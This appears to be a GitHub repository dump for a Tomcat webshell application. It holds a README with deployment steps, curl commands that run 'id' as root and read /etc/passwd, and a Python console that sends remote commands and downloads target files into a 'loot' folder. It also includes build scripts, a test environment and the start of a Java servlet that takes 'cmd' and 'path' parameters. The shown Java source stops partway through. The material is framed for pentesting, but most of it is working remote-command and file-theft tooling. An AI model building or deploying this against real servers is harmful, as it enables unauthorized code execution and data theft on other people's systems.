├── .github
├── FUNDING.yml
├── compile.png
├── demo.mp4
├── exec_code_web.png
├── manager.png
├── upload_a_plugin.png
└── webshell_uploaded.png
├── Dockerfile
├── Makefile
├── README.md
├── console.py
├── test_env
├── Dockerfile
├── Makefile
└── files
│ ├── context.xml
│ └── tomcat-users.xml
├── troubleshooting
├── README.md
└── java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet
│ ├── README.md
│ ├── img
│ ├── Screenshot 2022-05-15 at 12-39-06 HTTP Status 500 – Internal Server Error.png
│ └── Screenshot 2022-05-15 at 12-40-42 HTTP Status 500 – Internal Server Error.png
│ └── traceback.txt
└── webshell
├── tomcat_10_and_upper
├── build.gradle
├── build.sh
└── src
│ └── main
│ ├── java
│ └── com
│ │ └── podalirius
│ │ └── ApiServlet.java
│ └── webapp
│ ├── WEB-INF
│ └── web.xml
│ └── api.jsp
└── tomcat_9_and_lower
├── build.gradle
├── build.sh
└── src
└── main
├── java
└── com
│ └── podalirius
│ └── ApiServlet.java
└── webapp
├── WEB-INF
└── web.xml
└── api.jsp
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: p0dalirius
4 | patreon: Podalirius
--------------------------------------------------------------------------------
/.github/compile.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/.github/compile.png
--------------------------------------------------------------------------------
/.github/demo.mp4:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/.github/demo.mp4
--------------------------------------------------------------------------------
/.github/exec_code_web.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/.github/exec_code_web.png
--------------------------------------------------------------------------------
/.github/manager.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/.github/manager.png
--------------------------------------------------------------------------------
/.github/upload_a_plugin.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/.github/upload_a_plugin.png
--------------------------------------------------------------------------------
/.github/webshell_uploaded.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/.github/webshell_uploaded.png
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:latest
2 |
3 | RUN apt-get -y -q update; \
4 | apt-get -y -q install openjdk-8-jre gradle
5 |
6 | RUN mkdir -p /build/
7 | WORKDIR /build/
8 | VOLUME /build/
9 |
10 | CMD ["bash", "/build/build.sh"]
11 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 |
2 | .PHONY: build img
3 |
4 | IMGNAME := build_tomcat_webshell
5 |
6 | all : build tomcat_9_and_lower tomcat_10_and_upper
7 |
8 | clean:
9 | @rm -rf $(shell pwd)/webshell/tomcat_9_and_lower/dist/
10 | @rm -rf $(shell pwd)/webshell/tomcat_10_and_upper/dist/
11 |
12 | build: clean
13 | @docker build -t $(IMGNAME):latest -f Dockerfile .
14 |
15 |
16 | tomcat_9_and_lower:
17 | @docker run --rm -it -v $(shell pwd)/webshell/tomcat_9_and_lower/:/build/ $(IMGNAME)
18 |
19 | tomcat_10_and_upper:
20 | @docker run --rm -it -v $(shell pwd)/webshell/tomcat_10_and_upper/:/build/ $(IMGNAME)
21 |
22 | release:
23 | @echo "[+] Creating tomcat-webshells.tar.gz"
24 | @cd ./webshell/; rm ../tomcat-webshells.tar.gz; tar czvf ../tomcat-webshells.tar.gz -- \
25 | ./tomcat_9_and_lower/dist/1.3.0/webshell.war \
26 | ./tomcat_10_and_upper/dist/1.3.0/webshell.war
27 | echo "[+] Creating tomcat-webshells.zip"
28 | @cd ./webshell/; rm ../tomcat-webshells.zip; zip -r ../tomcat-webshells.zip -- \
29 | ./tomcat_9_and_lower/dist/1.3.0/webshell.war \
30 | ./tomcat_10_and_upper/dist/1.3.0/webshell.war
31 |
32 | shell:
33 | @docker exec -it $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}') bash
34 |
35 | stop:
36 | @docker stop $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}')
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Apache Tomcat webshell application for RCE
2 |
3 |
4 | A webshell application and interactive shell for pentesting Apache Tomcat servers.
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 | ## Features
13 |
14 | - [x] Webshell plugin for Apache Tomcat.
15 | - [x] Execute system commands via an API with `?action=exec`.
16 | - [x] Download files from the remote system to your attacking machine `?action=download`.
17 |
18 | ## Usage
19 |
20 | **Requirements**: You need to have the credentials of an high privilege account of the Apache Tomcat server.
21 |
22 | ### Step 1: Access the Tomcat manager and upload the webshell plugin
23 |
24 | First of all, you will need to access the Apache Tomcat `/manager` page at http://127.0.0.1:10080/manager/html, and connect to it with an high privilege account of the Apache Tomcat server.
25 |
26 | 
27 |
28 | Then choose the WAR file of the webshell plugin and click on "Deploy":
29 |
30 | 
31 |
32 | And the application is deployed:
33 |
34 | 
35 |
36 | ### Step 2.1: Executing commands
37 |
38 | You can now execute commands by sending a GET or POST request to http://127.0.0.1:10080/webshell/api.jsp with `action=exec&cmd=id`:
39 |
40 | ```sh
41 | $ curl -X POST 'http://127.0.0.1:10080/webshell/api.jsp' --data "action=exec&cmd=id"
42 | {"stdout":"uid=0(root) gid=0(root) groups=0(root)\n","stderr":"","exec":["/bin/bash","-c","id"]}
43 | ```
44 |
45 | You can also access it by a GET request from a browser:
46 |
47 | 
48 |
49 | ### Step 2.2: Downloading files
50 |
51 | You can also download remote files by sending a GET or POST request to http://127.0.0.1:10080/webshell/api.jsp with `action=download&cmd=/etc/passwd`:
52 |
53 | ```sh
54 | $ curl -X POST 'http://127.0.0.1:10080/webshell/api.jsp' --data "action=download&path=/etc/passwd" -o-
55 | root:x:0:0:root:/root:/bin/bash
56 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
57 | bin:x:2:2:bin:/bin:/usr/sbin/nologin
58 | sys:x:3:3:sys:/dev:/usr/sbin/nologin
59 | sync:x:4:65534:sync:/bin:/bin/sync
60 | games:x:5:60:games:/usr/games:/usr/sbin/nologin
61 | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
62 | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
63 | mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
64 | news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
65 | uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
66 | proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
67 | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
68 | backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
69 | list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
70 | irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
71 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
72 | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
73 | _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
74 | ```
75 |
76 | ### Step 3: The interactive console
77 |
78 | When your webshell is active, you can now use the interactive [console.py](console.py) to execute commands and download remote files.
79 |
80 | https://user-images.githubusercontent.com/79218792/168489455-023b52c5-e8a9-4cd9-96ca-f26c14304236.mp4
81 |
82 | ## Development
83 |
84 | If you need to compile this plugin, you can use the docker image provided, simply type `make` to build your plugin present in the `webshell` folder. Output WAR files will be put in the [`./webshell/dist/`](./webshell/dist/) folder.
85 |
86 | 
87 |
88 | Then if you need to test the plugin locally, you can start an Apache Tomcat instance with the test environnement in [./test_env/](./test_env/).
89 |
90 | ## References
91 | - https://linuxtut.com/create-a-java-servlet-and-jsp-war-file-to-deploy-to-apache-tomcat-9-in-gradle-eb464/
92 |
--------------------------------------------------------------------------------
/console.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : console.py
4 | # Author : Podalirius (@podalirius_)
5 | # Date created : 15 May 2022
6 |
7 |
8 | import argparse
9 | import os
10 | import readline
11 | import requests
12 | import json
13 |
14 |
15 | class CommandCompleter(object):
16 | def __init__(self):
17 | self.options = {
18 | "help": [],
19 | "download": [],
20 | "exit": []
21 | }
22 |
23 | def complete(self, text, state):
24 | if state == 0:
25 | if len(text) == 0:
26 | self.matches = [s for s in self.options.keys()]
27 | elif len(text) != 0:
28 | self.matches = [s for s in self.options.keys() if s and s.startswith(text)]
29 | try:
30 | return self.matches[state] + " "
31 | except IndexError:
32 | return None
33 |
34 |
35 | readline.set_completer(CommandCompleter().complete)
36 | readline.parse_and_bind('tab: complete')
37 | readline.set_completer_delims('\n')
38 |
39 |
40 | def parseArgs():
41 | print("[+] CLI console for Apache tomcat webshell - by Remi GASCOU (Podalirius)")
42 | print("[+] src: https://github.com/p0dalirius/Tomcat-plugin-webshell\n")
43 |
44 | parser = argparse.ArgumentParser(description="Interactive console for Apache Tomcat webshell plugin")
45 | parser.add_argument("-t", "--target", default=None, required=True, help="Apache Tomcat target instance")
46 | parser.add_argument("-k", "--insecure", dest="insecure_tls", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)")
47 | parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)")
48 |
49 | group_configuration = parser.add_argument_group("Advanced configuration")
50 | group_configuration.add_argument("-PI", "--proxy-ip", default=None, type=str, help="Proxy IP.")
51 | group_configuration.add_argument("-PP", "--proxy-port", default=None, type=int, help="Proxy port")
52 | group_configuration.add_argument("-rt", "--request-timeout", default=30, type=int, help="Set the timeout of HTTP requests.")
53 | group_configuration.add_argument("-H", "--http-header", dest="http_headers", default=[], type=str, action='append', help="Custom HTTP headers to add to requests.")
54 |
55 | return parser.parse_args()
56 |
57 |
58 | def remote_exec(api_endpoint, cmd, headers={}, proxies=None, verbose=False):
59 | try:
60 | r = requests.post(
61 | api_endpoint,
62 | data={
63 | "action": "exec",
64 | "cmd": cmd,
65 | },
66 | proxies=proxies,
67 | headers=headers
68 | )
69 | if r.status_code == 200:
70 | data = r.json()
71 | if verbose:
72 | print(json.dumps(data, indent=4))
73 | if len(data["stdout"].strip()) != 0:
74 | print(data["stdout"].strip())
75 |
76 | if len(data["stderr"].strip()) != 0:
77 | for line in data["stderr"].strip().split('\n'):
78 | print("\x1b[91m%s\x1b[0m" % line)
79 | except Exception as e:
80 | print(e)
81 |
82 |
83 | def remote_download(api_endpoint, remote_path, local_path="./loot/", headers={}, proxies=None, verbose=False):
84 | def b_filesize(content):
85 | l = len(content)
86 | units = ['B', 'kB', 'MB', 'GB', 'TB', 'PB']
87 | for k in range(len(units)):
88 | if l < (1024 ** (k + 1)):
89 | break
90 | return "%4.2f %s" % (round(l / (1024 ** (k)), 2), units[k])
91 |
92 | #
93 | r = requests.post(
94 | api_endpoint,
95 | data={
96 | "action": "download",
97 | "path": remote_path,
98 | },
99 | proxies=proxies,
100 | headers=headers
101 | )
102 |
103 | if r.status_code == 200:
104 | if "application/json" in r.headers["Content-Type"]:
105 | data = r.json()
106 | print('\x1b[91m[!] (%s) %s\x1b[0m' % ("==error==", data["error"]))
107 | return False
108 | else:
109 | print('\x1b[92m[+] (%9s) %s\x1b[0m' % (b_filesize(r.content), remote_path))
110 | dir = local_path + os.path.dirname(remote_path)
111 | if not os.path.exists(dir):
112 | os.makedirs(dir, exist_ok=True)
113 | f = open(local_path + remote_path, "wb")
114 | f.write(r.content)
115 | f.close()
116 | return True
117 | else:
118 | print('\x1b[91m[!] (%s) %s\x1b[0m' % ("==error==", remote_path))
119 | return False
120 |
121 |
122 | def detect_api_endpoint(target, headers={}, proxies=None, verbose=False):
123 | print("[+] Searching for valid API endpoints ...")
124 | SERVLET_API = "%s/webshell/api" % target
125 | JSP_API = "%s/webshell/api.jsp" % target
126 |
127 | r = requests.post(SERVLET_API, data={}, proxies=proxies, headers=headers)
128 | if verbose:
129 | print(" | [HTTP %03d] on %s" % (r.status_code, r.url))
130 |
131 | if r.status_code == 200:
132 | return SERVLET_API
133 | else:
134 | r = requests.post(JSP_API, data={}, proxies=proxies, headers=headers)
135 | if verbose:
136 | print(" | [HTTP %03d] on %s" % (r.status_code, r.url))
137 |
138 | if r.status_code == 200:
139 | return JSP_API
140 | else:
141 | return None
142 |
143 |
144 | def show_help():
145 | print(" - %-15s %s " % ("download", "Downloads a file from the remote server."))
146 | print(" - %-15s %s " % ("help", "Displays this help message."))
147 | print(" - %-15s %s " % ("exit", "Exits the script."))
148 | return
149 |
150 |
151 | if __name__ == '__main__':
152 | options = parseArgs()
153 |
154 | http_proxies = None
155 | if options.proxy_ip is not None:
156 | if options.proxy_port is not None:
157 | http_proxies = {
158 | "http": "http://%s:%d/" % (options.proxy_ip, options.proxy_port),
159 | "https": "https://%s:%d/" % (options.proxy_ip, options.proxy_port)
160 | }
161 | else:
162 | http_proxies = {
163 | "http": "http://%s:80/" % (options.proxy_ip),
164 | "https": "https://%s:443/" % (options.proxy_ip)
165 | }
166 |
167 | if not options.target.startswith("https://") and not options.target.startswith("http://"):
168 | options.target = "http://" + options.target
169 | options.target = options.target.rstrip('/')
170 |
171 | if options.insecure_tls:
172 | # Disable warings of insecure connection for invalid certificates
173 | requests.packages.urllib3.disable_warnings()
174 | # Allow use of deprecated and weak cipher methods
175 | requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
176 | try:
177 | requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
178 | except AttributeError:
179 | pass
180 |
181 | api_endpoint = detect_api_endpoint(
182 | target=options.target,
183 | verbose=options.verbose,
184 | proxies=http_proxies
185 | )
186 |
187 | if api_endpoint is not None:
188 | print("[+] Using API endpoint '%s'\n" % api_endpoint)
189 |
190 | running = True
191 | while running:
192 | cmd = input("[webshell]> ").strip()
193 | args = cmd.lower().split(" ")
194 |
195 | if args[0] == "exit":
196 | running = False
197 | elif args[0] == "help":
198 | show_help()
199 | elif args[0] == "download":
200 | if len(args) != 2 and len(args) != 3:
201 | print("Usage: download [localpath]")
202 | elif len(args) == 2:
203 | remote_download(
204 | api_endpoint,
205 | remote_path=args[1],
206 | proxies=http_proxies,
207 | headers=options.http_headers
208 | )
209 | elif len(args) == 3:
210 | remote_download(
211 | api_endpoint,
212 | remote_path=args[1],
213 | local_path=args[2],
214 | proxies=http_proxies,
215 | headers=options.http_headers
216 | )
217 | else:
218 | remote_exec(
219 | api_endpoint,
220 | cmd,
221 | verbose=options.verbose,
222 | proxies=http_proxies,
223 | headers=options.http_headers
224 | )
225 | else:
226 | print("\n[!] No valid API endpoint detected, exitting...")
--------------------------------------------------------------------------------
/test_env/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM tomcat:9.0.62-jdk11-openjdk-slim-buster
2 |
3 | # https://octopus.com/blog/deployable-tomcat-docker-containers
4 |
5 | RUN mv /usr/local/tomcat/webapps /usr/local/tomcat/webapps2 ;\
6 | mv /usr/local/tomcat/webapps.dist /usr/local/tomcat/webapps
7 |
8 | COPY ./files/context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml
9 | COPY ./files/tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
10 |
11 | CMD ["catalina.sh", "run"]
12 |
--------------------------------------------------------------------------------
/test_env/Makefile:
--------------------------------------------------------------------------------
1 | .PHONY: build img
2 |
3 | IMGNAME := test_tomcat_upload_plugin
4 | PORT := 10080
5 |
6 | all : build
7 |
8 | build:
9 | docker build -t $(IMGNAME):latest -f Dockerfile .
10 |
11 | start:
12 | docker run --rm -it -p $(PORT):8080 $(IMGNAME)
13 |
14 | background:
15 | docker run --rm -d -p $(PORT):8080 $(IMGNAME)
16 |
17 | shell:
18 | docker exec -it $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}') bash
19 |
20 | stop:
21 | docker stop $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}')
--------------------------------------------------------------------------------
/test_env/files/context.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 |
7 |
--------------------------------------------------------------------------------
/test_env/files/tomcat-users.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/troubleshooting/README.md:
--------------------------------------------------------------------------------
1 | # Troubleshooting
2 |
3 | ## Common problems
4 |
5 | - [Can't access uploaded plugin: java.lang.ClassNotFoundException: javax.servlet.http.HttpServlet](./java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet/README.md)
--------------------------------------------------------------------------------
/troubleshooting/java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet/README.md:
--------------------------------------------------------------------------------
1 | # Can't access uploaded plugin: java.lang.ClassNotFoundException: javax.servlet.http.HttpServlet
2 |
3 | ## Error
4 |
5 | Uploading a plugin works fine, but when you access it you get a HTTP error 500:
6 |
7 | ![]()
8 |
9 | Let's look at the last part of this traceback:
10 |
11 | ```
12 | HTTP Status 500 – Internal Server Error
13 |
14 | Type Exception Report
15 |
16 | Message Error instantiating servlet class [com.example.MyServlet]
17 |
18 | Description The server encountered an unexpected condition that prevented it from fulfilling the request.
19 |
20 | Exception
21 |
22 | ...
23 |
24 | java.lang.ClassNotFoundException: javax.servlet.http.HttpServlet
25 | org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1449)
26 | ...
27 |
28 | Note The full stack trace of the root cause is available in the server logs.
29 | Apache Tomcat/10.0.20
30 | ```
31 |
32 | ## Solving this problem
33 |
34 | To compile for Tomcat 10.x you need to change the imports in the `build.gradle` file, to include `jakarta.*` imports:
35 |
36 | **Tomcat 9:**
37 |
38 | ```
39 | dependencies {
40 | // Java Servlet 4.0 API
41 | // https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api
42 | providedCompile 'javax.servlet:javax.servlet-api:4.0.1'
43 | providedCompile 'org.json:json:20080701'
44 | }
45 | ```
46 |
47 | **Tomcat 10:**
48 |
49 | ```
50 | dependencies {
51 | // Java Servlet 4.0 API
52 | // https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api
53 | providedCompile 'jakarta.servlet:jakarta.servlet-api:4.0.1'
54 | providedCompile 'org.json:json:20080701'
55 | }
56 | ```
57 |
58 | ## References
59 |
60 | - https://stackoverflow.com/questions/66711660/tomcat-10-x-throws-java-lang-noclassdeffounderror-on-javax-servlet
61 | - https://stackoverflow.com/questions/65703840/tomcat-casting-servlets-to-javax-servlet-servlet-instead-of-jakarta-servlet-http/65704617#65704617
--------------------------------------------------------------------------------
/troubleshooting/java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet/img/Screenshot 2022-05-15 at 12-39-06 HTTP Status 500 – Internal Server Error.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/troubleshooting/java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet/img/Screenshot 2022-05-15 at 12-39-06 HTTP Status 500 – Internal Server Error.png
--------------------------------------------------------------------------------
/troubleshooting/java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet/img/Screenshot 2022-05-15 at 12-40-42 HTTP Status 500 – Internal Server Error.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/p0dalirius/Tomcat-webshell-application/20bae0b3cdefe5e17b6f223ed62b2a48b792df40/troubleshooting/java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet/img/Screenshot 2022-05-15 at 12-40-42 HTTP Status 500 – Internal Server Error.png
--------------------------------------------------------------------------------
/troubleshooting/java.lang.ClassNotFoundException-javax.servlet.http.HttpServlet/traceback.txt:
--------------------------------------------------------------------------------
1 | HTTP Status 500 – Internal Server Error
2 |
3 | Type Exception Report
4 |
5 | Message Error instantiating servlet class [com.example.MyServlet]
6 |
7 | Description The server encountered an unexpected condition that prevented it from fulfilling the request.
8 |
9 | Exception
10 |
11 | jakarta.servlet.ServletException: Error instantiating servlet class [com.example.MyServlet]
12 | org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:542)
13 | org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
14 | org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690)
15 | org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:356)
16 | org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)
17 | org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
18 | org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:867)
19 | org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1716)
20 | org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
21 | org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
22 | org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
23 | org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
24 | java.lang.Thread.run(Thread.java:750)
25 |
26 | Root Cause
27 |
28 | java.lang.NoClassDefFoundError: javax/servlet/http/HttpServlet
29 | java.lang.ClassLoader.defineClass1(Native Method)
30 | java.lang.ClassLoader.defineClass(ClassLoader.java:756)
31 | java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142)
32 | org.apache.catalina.loader.WebappClassLoaderBase.findClassInternal(WebappClassLoaderBase.java:2527)
33 | org.apache.catalina.loader.WebappClassLoaderBase.findClass(WebappClassLoaderBase.java:877)
34 | org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1413)
35 | org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1257)
36 | org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:542)
37 | org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
38 | org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690)
39 | org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:356)
40 | org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)
41 | org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
42 | org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:867)
43 | org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1716)
44 | org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
45 | org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
46 | org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
47 | org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
48 | java.lang.Thread.run(Thread.java:750)
49 |
50 | Root Cause
51 |
52 | java.lang.ClassNotFoundException: javax.servlet.http.HttpServlet
53 | org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1449)
54 | org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1257)
55 | java.lang.ClassLoader.defineClass1(Native Method)
56 | java.lang.ClassLoader.defineClass(ClassLoader.java:756)
57 | java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142)
58 | org.apache.catalina.loader.WebappClassLoaderBase.findClassInternal(WebappClassLoaderBase.java:2527)
59 | org.apache.catalina.loader.WebappClassLoaderBase.findClass(WebappClassLoaderBase.java:877)
60 | org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1413)
61 | org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1257)
62 | org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:542)
63 | org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
64 | org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:690)
65 | org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:356)
66 | org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:399)
67 | org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
68 | org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:867)
69 | org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1716)
70 | org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
71 | org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
72 | org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
73 | org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
74 | java.lang.Thread.run(Thread.java:750)
75 |
76 | Note The full stack trace of the root cause is available in the server logs.
77 | Apache Tomcat/10.0.20
--------------------------------------------------------------------------------
/webshell/tomcat_10_and_upper/build.gradle:
--------------------------------------------------------------------------------
1 | plugins {
2 | id 'war'
3 | }
4 |
5 | repositories {
6 | mavenCentral()
7 | }
8 |
9 | dependencies {
10 | // Java Servlet 4.0 API
11 | // https://mvnrepository.com/artifact/jakarta.servlet/jakarta.servlet-api
12 | providedCompile 'jakarta.servlet:jakarta.servlet-api:4.0.2'
13 | compile 'org.json:json:20080701'
14 | compile 'org.apache.commons:commons-lang3:3.10'
15 | }
16 |
17 | // Java 8
18 | sourceCompatibility = 8
19 | targetCompatibility = 8
20 |
21 | // Application
22 | version = '1.3.0'
23 |
--------------------------------------------------------------------------------
/webshell/tomcat_10_and_upper/build.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | log() { echo -e "\x1b[1m[\x1b[93mLOG\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
4 | info() { echo -e "\x1b[1m[\x1b[92mINFO\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
5 | warn() { echo -e "\x1b[1m[\x1b[91mWARN\x1b[0m\x1b[1m]\x1b[0m ${@}"; }
6 |
7 | VERSION="1.3.0"
8 | PROJECTNAME="webshell"
9 |
10 | #=======================================================================================================================
11 |
12 | info "Building for Apache Tomcat 10.x and upper"
13 |
14 | # Prepare configuration
15 | log "Setting version = '${VERSION}' in build.gradle ..."
16 | sed -i "s/version = .*/version = '${VERSION}'/g" build.gradle
17 |
18 | log "Starting build ..."
19 | gradle build
20 |
21 | # Distribution
22 | log "Copying final WAR files ..."
23 | if [[ ! -d ./dist/${VERSION}/ ]]; then mkdir -p ./dist/${VERSION}/; fi
24 | if [[ -f ./build/libs/build-${VERSION}.war ]]; then
25 | info "Saved to ./dist/${VERSION}/${PROJECTNAME}.war"
26 | cp ./build/libs/build-${VERSION}.war ./dist/${VERSION}/${PROJECTNAME}.war
27 | chmod 777 ./dist/${VERSION}/${PROJECTNAME}.war
28 | fi
29 |
30 | # Cleanup
31 | log "Cleanup build environnement ..."
32 | if [[ -d ./build/ ]]; then
33 | rm -rf ./build/;
34 | fi
35 |
36 | if [[ -d ./.gradle/ ]]; then
37 | rm -rf ./.gradle/;
38 | fi
39 |
40 |
41 |
--------------------------------------------------------------------------------
/webshell/tomcat_10_and_upper/src/main/java/com/podalirius/ApiServlet.java:
--------------------------------------------------------------------------------
1 | package com.podalirius;
2 |
3 | import org.apache.commons.lang3.SystemUtils;
4 | import java.io.BufferedReader;
5 | import java.io.File;
6 | import java.io.FileInputStream;
7 | import java.io.InputStreamReader;
8 | import java.io.IOException;
9 | import java.io.PrintWriter;
10 | import java.io.Writer;
11 | import java.util.Map;
12 | import javax.servlet.annotation.WebServlet;
13 | import javax.servlet.http.HttpServlet;
14 | import javax.servlet.http.HttpServletRequest;
15 | import javax.servlet.http.HttpServletResponse;
16 | import javax.servlet.ServletException;
17 | import javax.servlet.ServletOutputStream;
18 | import org.json.JSONException;
19 | import org.json.JSONObject;
20 |
21 |
22 | @WebServlet("/api")
23 | public class ApiServlet extends HttpServlet {
24 | @Override
25 | protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
26 | String action = request.getParameter("action");
27 |
28 | if (action.equals("exec")) {
29 | String cmd = request.getParameter("cmd");
30 | action_exec(response, cmd);
31 | } else if (action.equals("download")) {
32 | String path = request.getParameter("path");
33 | action_download(response, path);
34 | } else if (action.equals("upload")) {
35 | // TODO
36 | // String path = request.getParameter("path");
37 | // action_upload(response, path);
38 | }
39 | }
40 |
41 | @Override
42 | protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
43 | String action = request.getParameter("action");
44 |
45 | if (action.equals("exec")) {
46 | String cmd = request.getParameter("cmd");
47 | action_exec(response, cmd);
48 | } else if (action.equals("download")) {
49 | String path = request.getParameter("path");
50 | action_download(response, path);
51 | } else if (action.equals("upload")) {
52 | // TODO
53 | // String path = request.getParameter("path");
54 | // action_upload(response, path);
55 | }
56 | }
57 |
58 | private void action_exec(HttpServletResponse response, String cmd) throws IOException {
